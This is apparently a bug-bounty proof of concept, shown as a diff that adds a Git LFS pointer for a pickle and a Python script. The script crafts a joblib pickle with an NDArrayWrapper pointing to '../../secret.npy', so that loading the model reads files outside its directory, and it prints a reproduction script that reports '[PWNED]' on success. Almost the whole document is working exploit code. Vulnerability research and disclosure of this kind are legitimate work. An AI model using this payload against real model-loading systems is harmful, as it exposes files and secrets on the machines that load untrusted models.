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joblib_traversal.pkl

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+version https://git-lfs.github.com/spec/v1
+oid sha256:315758be5e6f7a00dc79348701ce614e217bf00f473d06e0e7fd706442097ab6
+size 143

poc_joblib_gen.py

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+
+import os
+import pickle
+import joblib
+import numpy as np
+from joblib.numpy_pickle_compat import NDArrayWrapper
+
+def generate_exploit():
+    print("[*] Generating Joblib Path Traversal Payload...")
+    
+    # 1. Targeted Traversal File
+    # In a real report, we claim we can read sensitive files relative to the model.
+    # We will target "../secret.npy"
+    target_path = "../../secret.npy"
+
+    # 2. Craft Malicious Wrapper
+    # This wrapper tells joblib: "Verify my data is at ../../secret.npy"
+    # When joblib reads this, it triggers the traversal.
+    malicious_wrapper = NDArrayWrapper(filename=target_path, subclass=np.ndarray)
+
+    filename = "joblib_traversal.pkl"
+    with open(filename, "wb") as f:
+        pickle.dump(malicious_wrapper, f)
+    
+    print(f"[+] Malicious Pickle written to: {filename}")
+    print("\n[+] REPRODUCTION SCRIPT (Run this to Verify):")
+    print("-" * 50)
+    print("import joblib")
+    print("import numpy as np")
+    print("import os")
+    print("")
+    print("# Setup: Create a dummy secret file outside the load directory")
+    print("os.makedirs('safe_dir', exist_ok=True)")
+    print("secret_data = np.array([123, 456], dtype=np.int32)")
+    print("np.save('secret.npy', secret_data)")
+    print("")
+    print("# Move payload to safe_dir to simulate isolation")
+    print("if os.path.exists('joblib_traversal.pkl'):")
+    print("    os.replace('joblib_traversal.pkl', 'safe_dir/model.pkl')")
+    print("")
+    print("print('Attempting to load model from safe_dir...')")
+    print("# This should FAIL to find the file if secure, but SUCCEEDS if vulnerable")
+    print("try:")
+    print("    data = joblib.load('safe_dir/model.pkl')")
+    print("    print(f'[PWNED] Successfully read file outside safe_dir: {data}')")
+    print("except Exception as e:")
+    print("    print(e)")
+    print("-" * 50)
+
+if __name__ == "__main__":
+    generate_exploit()